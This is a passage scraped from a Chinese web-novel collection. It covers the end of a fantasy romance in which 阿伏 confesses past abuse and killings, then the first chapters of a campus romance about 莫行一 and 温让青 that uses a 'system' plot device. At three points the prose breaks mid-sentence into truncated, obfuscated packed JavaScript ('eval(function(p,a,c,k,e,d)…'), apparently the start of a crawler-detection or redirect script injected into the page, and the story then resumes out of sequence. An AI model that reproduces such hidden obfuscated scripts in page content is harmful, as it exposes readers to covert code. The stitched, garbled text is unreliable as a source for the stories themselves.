“我,”他开口,声音哑着,好似许久未曾说话。手指搭在我肩头,他受不住地扬起长颈,咽下闷哼,艰难道:“我不是江浮霁,那是父亲给我取的名字,我不喜欢。父亲他.........他没有继承祭司血脉,被部落驱逐,却又爱上中原的商人,私奔、被卖、堕落、怀孕,最后生下我这个妖怪。” 我沉默地听着,动作不停,铃铛又颤一下,怀里的男人也抖了下身子:“别、别,你别走........”回应他的依旧是炙热的沉默,而阿伏调整了姿势,贴紧石壁,又将我搂到怀里。 “父亲嫉妒我,又害怕我,所以后来当他的客人看上我时,父亲发了疯,骂我贱人,说我天生就是勾引女人的妖精。那客人后来安抚的父亲,告诉他可以把他接出昭月楼做外室。于是他被哄好,又协助客人强要我,那天我没打算杀人的,我剧烈挣扎,也女人压在身上很重,她喊了一声,父亲就跪到床上压住了我的脚腕。那一刻,我不动了,父亲喃喃着这都是我欠他的。所以,我在女人抓住我脚踝的时候,第一次激出异瞳,祭司血脉可以召唤蛇灵,所以我借助蛇灵杀了他们。父亲可笑地睁着眼,我趁他还有□□气,生生掏了他的心脏。红的、烫的........明明和其他父亲一样呀,那时候我不懂,为什么他却不像其他父亲一样去爱自己的孩子........” 我侵入怀里的“艳鬼”,他痛苦地喘息,却是伸出手臂将我抱得更紧。亲密无间地相拥,每一次铃铛的颤动,混着撞散的水花。阿伏眼里掉出泪水,呼吸却愈发灼热,他又想说话了,似乎要把这一年半没有说完的话全给说了。 “我、我第一次被你买下来的时候,那晚差点要杀了你,我知道你买我,是因为我好看。你和那些觊觎我的客人没什么区别,除了你年纪小、干净。所以你睡着的时候,我掐住你的脖子,醉酒的你皮肤好烫呀,脉搏跳动,竟然让我有点害怕。也是这迟疑的瞬间,你在梦里抱住我的胳膊,又吧唧嘴啃我的手指。你说着明天早上带小美人吃最好吃的早饭.........我有点好奇,好奇你,也好奇你喜欢吃的早饭,所以第一次杀人之后,我抱着你睡了一夜。” “后来后来我就好爱你,可能是你每晚转狗洞去昭月楼找我的时候,也可能是你母亲生病时,你抱着我哭的时候........除了你,没有人这样爱我和需要过我,穆芃野,我是确定自己在爱你的那瞬间,回头看,才发现我已经在爱你这条路上走了很远。我简直、简直疯了一样爱你需要你。” 最后已经听不清阿伏在说什么了,铃铛颤动好似暴雨滴落,潭水一圈圈撞开,又重新漫回。我本能地扯住阿伏的头发,想把他推到岸边,从背后紧紧抱住他。 可阿伏忽而剧烈挣扎起来,已经止住的眼泪又开始决堤,混着汗水滴进锁骨窝里。他抗拒地摇头,又胡乱地亲我,置身于旧年的阴影。“被抛弃”的江伏,求着我:“不要,这次不要。妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“穆芃野,其实我知道你是天外之人,不属于这个世界。”在我低头的时候,慕容赫的手落到我的后颈,掌心的茧子厚了,磨得我有些痒。 “还有呢?”我不怎么意外,只是扯着她袖边的金线。慕容赫捏着我后颈的手紧了紧,而后拿开,规矩地缩回袖子里,说:“我也知道,只有当上皇帝,才能真正决定自己的命运,才能........重启移星宫。” 和慕容赫聊完,我才知道,原来慕容赫在码头亲眼看着我消失之后,便发觉了这个世界运行规则的诡异,对姬雍那种自虐般的情愫消失,甚至于对女主五皇女,她都想不起来自己为何如此盲从一个自负之人。于是她想通这个世界必然是被异世力量控制了,而随着我的消失,那股力量也突然松绑。 慕容赫把这个猜想告诉了不断朝她寻仇的阿伏,又讲出宫中秘辛——移星宫可通鬼神,利用地宫的阵眼,再以罪大恶极之人的血肉为祭,即可召回天外魂灵。 曾经有一任女皇用移星宫召唤自己的梦中之人,可后来反被阵眼吞噬,于是继任的皇帝便锁了移星宫,列为禁忌,不许任何人踏入。 阿伏本就身负蛇灵,对于鬼神之说,比常人更能接受。或许也是抱着最后一丝希望,他没有怀疑慕容赫,而是协助她,推翻五皇女,又用与先君后相肖的美貌,接近先皇,最后在先皇沉溺于白月光复活的春梦中的时候,毒杀了她,又同宫外的慕容赫里应外合,营造出一场女皇怀念旧爱,被仙子引回天宫双宿双飞的爱情戏剧。 慕容赫即位,便力排众议,重启移星宫,而阿伏原本被先皇囚在忆梦阁,见过他的人很少。于是就以婆罗国祭司的身份,入主移星宫。阿伏这一年以罪人的血肉为祭,滋养蛇灵,又亲设阵眼,以自己的心血为引,没日没夜地研究召唤天外之人的巫术。最后发展到邪术的地步,准备要以活人为引。慕容赫看不下去,原本打算要将他关起来,还好........在这一切失控之前,我回来了,阻止了阿伏的自我毁灭。 说完这一切,我已经饿了,提出想要吃烤鹿肉,问慕容赫要不要留下来。她愣住,似乎没料到我这般寻常的反应。但旋即又笑了笑,可能什么事情发生在我身上都正常吧。 她当然没有留下来吃饭,因为阿伏准备好午膳,进屋后死死地盯着她,又护食一样将我完全拢在怀里。 感觉要被他勒死了,莫非这小子真是一条美人蛇? 慕容赫似乎早就料到,识趣地挑了下眉,拒绝留下来用饭的邀请。但离开前,又脱下外袍,叠好放到我枕边,笑盈盈地说:“穆妹妹一直摸着这件衣服,想来是喜爱极了,便送给你,日后见到这件衣服,变如同见到朕一般。” 阿伏又在生气,但生气的阿伏还是架着炉子在院里给我烤鹿肉。我搬着小凳子做到阿伏身边,抱着他的腿,问:“阿伏,你想留在京城还是回金鸣呀?” “你呢?我跟着你。”阿伏把烤肉翻了面,油脂滴在炭火上,发出滋啦的声音。 “那我们回金鸣吧,回金鸣作对没出息的小妻夫,忙时便同心协力打理家产,闲暇时便携手游遍大江南北。”我昂起下巴蹭他的大腿,阿伏大腿的肌肉立刻紧绷起来,他挣了两下,但还是妥协地让我抱住,闷声道好。 “阿伏,我留下那件衣服,是因为慕容赫许诺,日后凭这件信物,可以当免死金牌,保我们穆家百年安稳。” “嗯,我知道了。”阿伏给烤肉刷上蜂蜜,长长的头发梳成大辫子垂在一侧肩头,他明显开心起来,发丝都被烟气吹得跳舞。 “还有,阿伏。” “嗯。”他低头看着我,笑着递过来肉串,阳光和烟火都氤氲在江伏身边。我扯住他的袖子,亲了他的头发,又亲他的眼睛。我说:“阿伏,我很爱你,每天都爱你,今天爱你明天还爱你。我会告诉,这世上我最爱你。” 眼泪又落下来,但这次阿伏应该很开心,他急切地闭上眼用唇瓣蹭我,好痒,冰冷的美人蛇情动时,也像只撒娇的狸猫。 变成花,变成猫,变成蛇,最后是我的爱人。 我笑着吻他,在烟熏火燎的午后,我没有用读心术,也不需要用读心术了。 在我爱人的唇齿间,一遍一遍,我说:“江伏,我会每天都说一遍,这世上我最爱你,永远不离开你。” ——完—— 24. 温柔白月光竹马是背德师生文男主(一) 坚定真诚木讷不善交际专攻学术女主×温柔貌美体贴白切黑“交际花”男主 莫行一×温让青 *莫行一曾经三次打破自己一以贯之的原则,第一次是十六岁时,隔壁招蜂引蝶的交际花竹马撩开校服上衣坐到她怀里,她没推开。第二次是二十一岁,毕业典礼上温让青穿着婚纱逼莫行一娶他,她没拒绝。第三次是现在,醉酒的师弟抱着她告白,莫行一静静地看着面色惨白朝自己狂奔的温让青,想起未来十年注定被出轨的婚姻,她捧起师弟的脸郑重一吻。 “这是我第一次出轨,随你怎么骂,温让青,我不娶你了。” ------------------------------------- 莫行一从实验楼出来的时候,校园里的路灯已经亮了,她看了眼手机里温让青发的消息,下午五点多的时候他就已经到了。 于是莫行一从懒散地走路变成了跑,因为常年不锻炼,所以到大厅的时候,她气喘吁吁地抓住温让青的肩膀,靠着他才慢慢缓过来。 “一一,我年前就说让你陪我去健身房,现在都要夏天了,你还在耍赖。” 温让青埋怨她,手指搭在莫行一的脸上,给她重新拢了拢头发,然后捋下手腕上贴身的小皮筋给她扎好。 “对不起,我没看手机,让你等得久了。” 莫行一脸颊红扑扑地给他道歉,温让青牵着她的手,扑哧笑出声,揶揄道:“今天才等了莫大科学家两个小时,之前可是等五个小时也是有的,这算什么等得久呀?” 此话一出,莫行一的脸烧得更红,确实因为自己总是泡在实验室没办法陪温让青,平常总让他在实验楼大厅苦等自己,而且更离谱的,因为温让青过于俊秀润朗,还上了学校的表白墙,F大学生直接刷屏,震惊学校什么时候出了这种“仙品”? 当然这件事莫行一并不知道,还是同组的师姐当初八卦讲给了她听,那时候莫行一刚进实验室,平常和同门交流不多,所以他们也不知道实验楼大厅的“仙品”就是莫行一青梅竹马的未婚夫。 莫行一犹豫了片刻,在想要不要告诉师姐,但她又担心师姐觉得自己占有欲太强,所以想不通之后,她索性投入实验冷静一下,而一冷静就冷静到了晚上八点多,仿佛被吸了精气一样的师姐和闷葫芦莫行一结伴离开实验室。刚到一楼,莫行一还在琢磨下午的数据,等了好几个小时的男朋友就直接冲过来张开手臂抱住了她,温让青习惯性地贴着莫行一的脸蹭了蹭,然后像只大金毛一样抱着她开心地晃了晃。 等到莫行一推开他要给瞪大眼睛的师姐介绍时,温让青已经收拾好自己,笑意温煦得体地朝师姐点头致意:“您好,师姐,我是一一的未婚夫,以后我们家一一就拜托您担待了。” 温让青似乎总是这样,初中、高中、大学到如今,他就像是那根长在莫行一封闭内心上的柔软触手,替她用一种得体温和的方式与这个世界交流。 “莫同学是我的邻居呢,是很好的朋友,只是不爱说话。” “莫行一是我的好朋友,是我认识最聪明的人,希望大家能主动和她接触了解呢。” “一一是我喜欢的女孩子哦,是最好的人,只是不爱说话,你们不要议论她。” “我们家一一是个天使一样的好孩子,只是不太懂人情世故,拜托你们多担待。” ....... 莫行一偶然看到温让青帮她拓展交际圈,脑海中会浮现不恰当的画面,但没办法,他真的很像一只护崽的老母鸡,或者是送孩子上幼儿园的妈妈。温柔贴体但永远学不会放心,好像......好像在温让青眼里,除了他所有人都是潜在的会伤害到莫行一感情的坏人。 那天和师姐相互认识之后,温让青果然又发挥的他的“交际花”魅力,很快就春风化雨般介入了莫行一的交际圈,平常不怎么打招呼的同门聚餐都会特意叫上她,吃到一般还贴心地问莫行一不需要给让青哥发个消息报备一下吗? 让青哥,他们什么时候这么熟了? 莫行一对于温让青的社交能力简直无解,但还好两人青梅竹马,自小就熟悉了彼此,莫行一倒也觉得理所当然,如果哪天有人特别讨厌温让青,她才会觉得奇怪吧? 今天原本莫行一要泡实验室泡到晚上十点多,中午时和温让青说过会去宿舍睡不回出租屋了,但没想到他还是找过来,等两个多小时就为了陪莫行一吃个晚饭。 “学校食堂现在没什么好吃的窗口了,我们去南苑的美食街吧。” 莫行一牵着他往南苑走,林荫道上偶尔有骑车的同学经过,目光落到温让青身上后都止不住追随好一段路,差点没撞到树上。温让青没什么感觉,仍是笑吟吟地侧身贴着莫行一说话,但她有点累,想赶快吃完饭回实验室。于是走到共享单车旁边,她扫了一辆然后对温让青说:“好久没有骑单车载你了,今天温老师要不要继续做我的自行车后座?” 她难得说两句俏皮话,温让青被都忍俊不禁,一颗心都想被抓住了似的又酸又软,哪有不依的。 温让青清瘦,抱着她的腰坐在自行车后座,也并没有让莫行一蹬得太辛苦。他将脸贴在莫行一因为用力而凸起的脊椎骨上,蹭了蹭心疼地问她:“一一,你还记得初一那年,刚转到南川中学的时候,你很高,还不像现在这么瘦,力气也很大,能帮我打跑李怀他们呢。” “呃,记得。” 莫行一虽然不知道他为什么突然念旧,但还是如实地点了点头,并且补充道:“当时我还是黑呀,不会说普通话,被同学们起外号就黑土包。” 不自觉揪紧了莫行一的衣服,温让青听见她这么轻描淡写的描述,自己心里反而更疼,眼眶发酸几乎要哭出来,“他们都是坏人,永远不会原谅他们!坏人!” “还好吧,青春期的小孩不都这样?”莫行一眼看着快到南苑,悄悄松了口气,但刚停下车,脖子就被搂紧了,从背后贴上来温让青柔软的身体。他搂住莫行一,手心轻轻柔柔地拍着她的头顶,心疼地不停说:“坏孩子欺负我们家一一,抱抱一一,不要记得他们了,哼,把坏人全忘掉。一一乖乖,我替你记着坏人,而你记着我就好了。” 莫行一一直都觉得温让青的感情太过充沛了,一个人怎么可以说笑就笑、说哭就哭呢?但作为一起长大的未婚妻,莫行一时刻记得自己要保护他的感情,所以牵着他的手认真地给温让青擦干净眼泪,她突兀地哄道:“你知道为什么恐怖片里的别墅都有钢琴和邮箱吗?” 温让青知道她又要讲冷笑话了,但还是笑出了声,因为只要想到莫行一这个小古板对着电脑认真地一条条背诵冷笑话,他就觉得可爱到能让他软掉身子,心里暖融融的恨不得化成春水含住她才好。 “因为什么?” 莫行一看着他脸上的笑,暗自松了口气,故作高深地盯着温让青的眼睛,一字一句地背诵出答案:“因为钢琴住了几个妖,邮箱住了几个魔!” “噗哈哈哈哈哈哈哈哈哈哈哈........哈哈哈哈哈哈哈一一.........”莫行一喊着她的名字,笑声清朗,黏黏糊糊地又抱住她。周围人好奇地朝这边看过来,但他并不害臊,反而搂紧了莫行一的脖子亲了亲:“好可爱啊一一,只有你才能让我真心笑出来了,一一,没有你我怎么办呀?” 和温让青一起到鱼粉店坐下的时候,莫行一看了眼时间,已经八点二十七了。想到做了一半的实验,她有些着急地晃了晃腿,瞥到对面卖梅花糕的大爷今天出摊了,莫行一想起来温让青很喜欢吃这个梅花糕,于是急着跑到对面去买。因为美食街晚上人多,跑到路中间的时候,一个穿着一中校服的小姑娘撞到了莫行一的后背,她脚下绊住趔趄着摔了个狗吃屎。 而肩膀的刺痛袭来的瞬间,莫行一脑海中嗡的一声,撞莫行一的小姑娘跑到她面前弯腰,而莫行一视野虚焦,在持久的耳鸣声中,她突兀地听见女孩和所谓系统的对话。 【系统,你确定她就是温老师未来会娶的妻子?两个人看起来不搭啊,她好呆。】 【宿主,作为背德师生文里撬墙角的年下女学生,你确定如果温让青的老婆是个风情万种的大美女,还能和自己的女学生搞到一起去吗?】 【啧,说的也是,不过忽然感觉她好可怜啊,这么呆,被出轨了也不敢和温老师算账吧?】 【根据剧情,后期莫行一在车库发现你和温让青的野合现场,沉默地自己回到楼上,一直没有打扰你们,直到温让青半夜回家之后。她说出实情,温让青没有否认,顺势提出离婚,两个人和平分手。而结局你和温让青关系公之于众,被喜欢温让青的女老师举报到网上被谩骂的时候,莫行一以前妻的身份,主动替你们发文粉饰,并且因为当时莫行一主持的研究刚在国际上拿了奖,所以名人效应,你和温让青的背德师生恋也因此扭转了口碑。】 【哈?这个女人什么脑子啊?她帮助出轨的丈夫和小三的动机在哪里啊?】 【宿主,工具人没有思想,一切都为了剧情服务,望周知。】 随着女孩和系统的对话,莫行一甚至看见了漂浮闪过的电子屏幕,这一切荒谬的让她感觉在做梦,但是下一秒她被眼前的女孩扶了起来,看着萦绕在女孩眉心耀眼的光点,莫行一又扭头望向朝自己飞奔过来的温让青,果然,他靠近女孩的时候,眉心的光点也越来越耀眼........ 所以,这就是主角效应? 莫行一陷入混沌的思考当中,当所有的科学和常识被打翻,她并没有疯癫,反而内心深处涌出一股窥探未知世界的兴奋,掌心甚至洇出了细汗,她的视线里温让青正托着她受伤的胳膊,红着眼圈在说什么。 那个女孩为什么哭了?怯生生地拉着温让青的袖子又被他甩开了。 【系统,怎么回事?温老师居然因为这个女人对我生气了?疯了吧?剧情没出毛病吗?】 莫行一听着女孩气急败坏的质问,想了想认为肯定是男女主的好感度积累不足,主线剧情尚未展开。想到这莫行一饶有兴趣地等那系统的回答,果然,系统运转几秒,而后给出了和莫行一高度相似的回答。 【好吧。那我等到温老师喜欢上我之后,一定要狠狠地出今天的恶气,我记仇!】 【宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温让青心底有些奇怪,怔怔地看着被莫行一松开的手,他还没来得及问她晚上什么时候回家,莫行一就已经挤上了校车,甚至没有回头给他摆摆手。 今晚的实验应该对一一很重要吧? 眼瞳中又晕开郁色,浓重的、山雨欲来的烦闷重新压在心头,温让青闭上眼,身上和煦的气质被压抑消极的情绪代替。他回到鱼粉店里坐在莫行一之前的位置上,内心平定一些之后,他拿出手机给莫行一发了几条消息,让她明天把宿舍的脏衣服带回家给他洗。果不其然没有等到她的回复,温让青安静地用莫行一的筷子吃完了她吃到一半的鱼粉。 结账之前,他又给莫行一发消息,苦闷的小兔子望着月亮哭哭流眼泪,温让青不开心地说:“这家鱼粉不好吃,还有,我想你,一一。” ------------------------------------- 莫行一在十二岁那年回到南川,在父母身边读初中。之前一直在济河的乡下地方跟着姥爷生活,乡下人都叫莫行一的姥爷莫老仙,也有人叫他莫神棍。但姥爷不在意,他教给莫行一的第一个大道理就是不许活在别人对自己的评价里。 所以当操着一口济河乡下话的莫行一在南川一中开学第一天,作为入学考试第一名的优秀学生代表,尽管她逐字逐句修改背诵的演讲稿因为口音被全校学生哄笑议论,莫行一依旧读完并且认真鞠躬。她完成她该完成的,别人评价他们想评价的,从来如此,这很正常。 但莫行一走下国旗台的时候,还是听见了人群里突兀的鼓掌声,她顺着声源望过去,恰好看见早上小区里和她一起到地铁站的少年,他笑盈盈地鼓掌,周围的人因为关注着他,骤然被提醒,也后知后觉鼓起掌声给学生代表一个体面。 莫行一在掌声里回到班级的第一排,板正地站着听校长演讲,但心里轻飘飘的,她想起济河乡下夸人的那句土话。 这小小子,真是水灵灵滴俊儿啊。 莫行一的父母都是在各自领域深耕践行的优秀学者,但也是因为醉心学术,所以对于抚养孩子这件事,他们天然带着读书人的刻板与呆气。 考虑到初中学生要花钱,所以他们提前给莫行一的校园卡和地铁卡充了一学期的钱,书费补习费活动费以及零花钱,也同样存满一学期的额度,然后全权交给莫行一自己处置。 莫行一认真地接纳了父母的决策,并且真心觉得一次付清确实省却了很多不必要的交流与麻烦。但开学第一天出发时,她却想起,父母没有教过自己坐地铁。站在小区门口踌躇,莫行一正在考虑要不要向爸妈求助,然后身侧飘来一阵小青桔的酸涩果味,高瘦白皙的少年穿着和她一样的校服,在清晨里很抢眼。莫行一立刻就想到了可以跟着他一起去学校。于是她不紧不慢地跟在少年身后来到地铁站,观察模仿着他过安检刷地铁卡,最后成功找到内环的五号线,她抱着书包坐在少年对面,他戴着耳机,目光撞到坐得端正的莫行一时,心领神会地弯唇笑了笑。 果然,莫行一攥紧双手,点了点头道谢,心想,原来他是故意领着自己熟悉去学校的路呢。 25. 温柔白月光竹马是背德师生文男主(二) 开学一个月,莫行一并没有认识到新的同学,虽然她不在意,但之前在济河乡下时,姥爷曾很多次给她卜卦,说过莫行一少了一味人气在心里,所以很难入世,但因祸得福,日后若有机缘,说不能就能窥见天机,另有一番大造化在命格里。 老乡们都认为是莫老仙打肿脸充胖子不愿承认自己的宝贝孙女有毛病,但莫行一坚信姥爷的话,所以即便被全班同学孤立,她也心如止水,一板一眼地过着自己的初中生活。 而那个隔壁的那个男生,温让青,恰好是和莫行一完全相反的人。他很受欢迎,据莫行一观察,温让青瞳仁是浅淡的琥珀色,蕴着笑意和阳光就像流动的蜜糖,栗色的发丝柔软而温暖,淡粉的唇色正好配他冷白的肤色,一张俏脸不仅好看,还能勾起人暖色调的美好触动,就像在午后晒暖的金毛,也像是破春时满坑满谷的迎春花。 不仅如此,莫行一还发现开学时的善意完全是温让青的无心之举,因为他对所有同学都一样的温柔热心,从不会拒绝任何人,即使是让他难堪的表白,温让青也会先体贴对方的情绪,道歉之后才温温柔柔地说:“不行哦,因为我很排斥关于恋爱的事情。” 学校里自然没有人相信温让青的托词,于是关于他的议论又变了个风向,不知是谁传出温让青眼光挑,在校外有好几个混混女朋友,玩弄别的女生的感情,还会泡酒吧、抽烟打架.......而谣传传着传着,混混女朋友又变成了男朋友,温让青的温柔和体贴也变成了他是零的铁证,更有甚者还绘声绘色地讲述自己在某个周末看到温让青和好几个男的一起到宾馆开房。 莫行一不明白人心为什么会变得如此之快,他们没有看见温让青提到“恋爱”时眼底闪过的郁色吗?她认为温让青的理由完全成立,所以即便谣言再怎么疯传,莫行一仍旧坚信温让青。 她不是对他有自信,她是对自己有自信。 但很显然,温让青并没有将谣言屏蔽的能力,一开始是慌张的解释,然后得到周围人似笑非笑的揶揄,并且起哄他竟然这么开不起玩笑之后,温让青逐渐地沉默,不再开口,也不再解释。但他依然在别人叫住他时会适时勾起最和煦的笑容,只不过放学之后,在单元楼的消防通道里,只有莫行一撞见了少年湿红眼睛里坠下来的一颗颗泪珠,他瑟缩在黑暗的楼梯间里,清瘦的肩膀一颤一颤,哭声克制成细细的啜泣。 莫行一沉默地路过他,但到下一个楼梯口,她还是转身折回去,掏出自己早上胡乱撕下来攥成一团塞在兜里的卷纸,尽量抻开,她递给满脸泪水慌忙朝她笑的少年,说:“纸是干净的,你可以用,还有,”目光落在他僵硬的唇角,莫行一叹口气,认真道:“温让青,你不想笑的时候可以不笑。” 陪温让青坐了二十分钟,莫行一已经完成了陪伴的任务,于是起身离开。但刚转身,校服袖子就被温让青拽住了,他仰着脸,泪痕还没干,泪湿的眼睫一簇簇翘着,撞到莫行一的目光时笑了笑:“腿麻了,莫同学,你扶我起来吧。” “好。” 顺手的事,莫行一牵着他起身,但温让青揪着她的袖子没松手,一直跟着莫行一走到她家门口,而隔壁温让青家的门紧闭着,她问他:“你家里有人吗?带钥匙了没?” “没人,我也不想回家。” 温让青摇了摇头,然后站在门口看着莫行一掏出钥匙开门,她进去之后,站在玄关换拖鞋。转身发现温让青还在安静地看着,并且在接触到她的视线时忽而勾唇温柔地绽开笑。 莫行一想了想,弯腰拿出鞋柜里的备用拖鞋,递给门口的少年:“那你愿意来我家的话,就进来吧。” “愿意的。”温让青咬字轻柔,垂首走到莫行一面前接过拖鞋,她又闻到他身上小青桔的味道,弯腰的时候,月坠花折这个词跳到莫行一心头。 但这又不是什么好寓意的词,莫行一晃了晃脑袋,走到厨房的冰箱前,大声地询问温让青:“速冻饺子和泡面,你想吃哪个?” 莫行一的父母在家不经常做饭,所以冰箱里囤满了各种速冻食品,温让青不得已只能煎了两个荷包蛋,然后下了两碗素面当做他们的晚餐。 “多谢款待,你的手艺很好。”莫行一的碗很快就见底了,大抵是因为乡下人天生珍惜粮食,所以看到温让青只吃了一半就恹恹地放下筷子时,她敲敲桌子,严肃地看着他说:“作为一个青春期的男孩子,你吃的太少。而且,浪费粮食很不好,你应该把碗里的面条吃完。” 温让青被她这么一通教训,惊讶得睁大了眼睛,而后就被她一板一眼的架势逗得想笑。大概从幼儿园毕业之后就没有人在饭桌会这么教训他了,温让青反而觉得很开心,压抑的情绪缓和了些许,于是朝莫行一点了点头,拿起筷子重新把碗里的饭给吃完。 吃完饭之后莫行一主动担起刷碗的责任,她干活很麻利,最后擦手的时候发现温让青一直站在厨房门口看着她忙活,有些疑惑,她便直接问出来:“你可以去写作业,在这里看我刷碗干什么?” “你不觉得厨房这种环境很温馨吗?我小时候在同学家里看到他爸爸妈妈一起在厨房做饭,或者一个人做饭另一个人在旁边陪着说话,我都会觉得心里暖洋洋的。所以我一直都想,以后有自己的家的话,厨房一定要用橙明的暖灯,像颗柑橘似的把全家人紧紧裹在一起。” 温让青难得说很多话,双眼弯弯,体贴地绕到莫行一背后给她解开围裙。 “是吗?”莫行一没有多大的感触,走到客厅拿出今天的作业,坐下来之后抬眼看着温让青,示意他也拿出作业一起做。 温让青垂下眼睫,坐到她对面,没有得到回应显得有些失落。但刚摊开练习册,他的书页之间就被变魔术一样放了颗小橘子,怔然抬眼,温让青看到莫行一依旧平淡地说:“刚才在冰箱里找到的,你喜欢橘子的话就给你吃吧。而且,其实乡下的灶房更暖和,还能生火,冬天的时候和家人围在灶台旁烧柴烘红薯芋头,脸庞蹭上灰,被火光照得红彤彤暖洋洋的。那样的场景你肯定更喜欢。” 莫行一果然是好学生,温让青漫无边际地随着她的话语编织着橙色的美梦,心头不知为何颤了颤,暖流渗进体内,他撑着脸,认真地看着莫行一,忽然就笑了,眼瞳里流淌着蜜糖似的水光。 “你说得对,莫行一,我很喜欢呢。” 再次回学校之后,温让青渐渐有了一些变化,虽然流言蜚语依旧,但再次面对谣言,他的第一反应已经不是解释或者沉默,反而是笑吟吟地看着造谣者,感激地对他说:“真的吗?你确定你看到我和几个男人一起去宾馆了?可我居然不记得,一定是他们迷晕了我。谢谢你真的,我现在就报警,一会警察来了请你一定也要这样说,做我的证人好不好?” 被温让青这么温柔一刀,造谣者当然不敢和警察对峙,于是支支吾吾地说自己也没有看的特别清楚,应该是记错了。其他造谣或者相信谣言的人纷纷沉默不语,而温让青依旧笑着,只不过目光冰冷。莫行一听着这场闹剧,刚好写完一张物理试卷,她搁下笔,一板一眼地打破教室里的寂静,问那个造谣者:“昨天你在议论温让青的时候,用了很多个肯定、绝对之类的词语,今天你又说自己可能记错了。所以,自己说出去的话自己还能否定,这在我老家乡下,就和家养的猪一样,猪吐完之后会把呕吐物继续吃干净,原来你们城里的人也是这样啊。” 莫行一此人向来一板一眼,所以此刻由她来戳破造谣者的虚伪,辛辣又精准,甚至周围人竟不会觉得她在站队温让青,他们只觉得,莫行一说话难听,但说出来的都是难堪的真相。 于是整个教室陷入沉默,温让青也怔然地看着坐在第一排的少女,她没有多余的表情,说完之后已经转过身又抽出练习册写了起来,但他心头却瑟缩着被暖风猛吹了一下,眼眶有些酸,温让青扶着桌角,忽然朗声笑出来,泪花黏在眼睫上,他好笑地看着周围的同学:“真有意思,莫同学真的很有意思,你们没发现吗哈哈哈哈哈哈哈.........” 因为温让青的反击,学校里关于他的谣言也逐渐消弭,少年又重新回到了同学们拥簇的中心,只不过他的温柔中似乎多了一些疏离与原则,让人猜不透温让青笑容里的含义。 到了期中考试,莫行一依旧稳居年级第一,只不过英语老师私下让她多练口语,虽然应试教育对此没有要求,但老师认为莫行一这种人才不应该在此方面有短板。 于是上下学路上总戴着耳机练听力找语感,偶尔遇到温让青,他笑盈盈地朝莫行一打招呼,得到她的眼神回应之后,便主动坐到她身边,听着她不断纠正的发音,温让青忍不住笑,在莫行一看过来时又红着脸说:“我的口语其实还不错呢,要不我教你吧,莫同学。” 莫行一接受了温让青的帮助,每周三晚上她都会等着他一起回家,然后在单元楼的天台上跟着他练口语,温让青的声音清冽温润,口语偏向英音,莫行一看到他笑盈盈地念着英语文章时,总会想到欧洲童话里的小王子,比每年庄稼地里新收的棉花还要干净美好。 她是个好学生,学得很快,到第三周的时候,莫行一告诉温让青以后不用再腾出时间教她口语了,英语老师已经认可了莫行一现在的水平,往后只需要巩固和练习即可。初夏的傍晚,晚霞涂抹在天边,像一片燃烧的橘子海,飞鸟成群结队掠过,溅起一片火焰的涟漪。温让青和莫行一稚嫩的脸庞也被晚霞映出暖绒绒的阴影,他安静了好一会,然后扭头说:“那我最后给你唱首英文歌吧,是我很喜欢的歌哦。” 莫行一点头,她看向温让青,而他依旧移开目光,琥珀色的眼瞳里盛满橘色的晚霞。 Dear god:(敬爱的神:) I know that she''s out there...(我知道她不在这里了) the one i''m suppose to share my whole life with. (她,那个我想要与之共度一生的人) And in time...you''ll show her to me. (但是我相信,某个时候,你将会让我再见到她。) Will you take care of her, (你能不能帮我好好照顾她,)  fort her,(让她过得舒适,) and protect her...(保护她) until that day we meet.(直到我们见面的那一天) And let her know...(还有,让她知道…) my heart...is beating with hers. (我的心……为她而存) 莫行一安静地听着温让青唱歌,其实英语歌和山歌在她耳朵里没什么区别,但侧目看到少年盛满细碎泪光的眼睛,她安静下来,等温让青唱完,等了几秒后她从书包里拿出两个煮鸡蛋递给他:“唱得好,这是我姥爷从济河给我邮来的土鸡蛋,好吃,给你吃。” 温让青惊讶地接过去,看着在半明半暗的天色中,目光依旧明亮坚定的莫行一,他又忍不住要笑了,说不清的嫉妒和喜悦让他的心泡在燃烧的棉花云里。 “莫行一,”他第一次主动叫她的全名,向来含笑的眼睛此刻却是郑重的,甚至带着细微的祈求和惶恐,温让青看着她一字一句地说:“我不开心,你救救我,做我的朋友吧。” 莫行一其实并不缺朋友,因为济河乡下小娟和豪豪他们都在等着她暑假回村一起去钓鱼摸虾,她觉得可能是温让青习惯性的善意,像开学那天一样,换个人像她一样在学校被孤立,温让青也依旧会主动提出交朋友的请求。 但她依旧答应了温让青,做人不能太别扭,这也是姥爷教给莫行一的道理。所以她并不纠结温让青这个朋友对她是同情还是欣赏,反正萍水相逢,莫行一认为朋友也分很多种,而温让青,是她最普通的一种朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫行一的声音清正,又恰好在切歌的间隙,所以女生这边的谈话被男生们全都听见了,有起哄的人已经笑出声,而温让青只是垂眸安静地倒着蜂蜜水,起身挤到女生那边,他笑盈盈地放到莫行一手里,拿走了她面前的果汁。 “喝这个甜的,果汁太酸了,还有,”温让青歪了歪头,眼睫颤动,眸子里掠过细碎的光,笑起来像只纯良的金毛,他这次用所有人都能听到的声音,一字一句地说:“你说得对,我应该告诉你,莫行一,我对你很好,比对其他所有人都好。” ------------------------------------- 寒假莫行一自己回济河乡下过年,父母需要继续泡在学校做课题搞研究,就给她打了一笔钱,让她买些礼品带回去给姥爷和乡亲们。 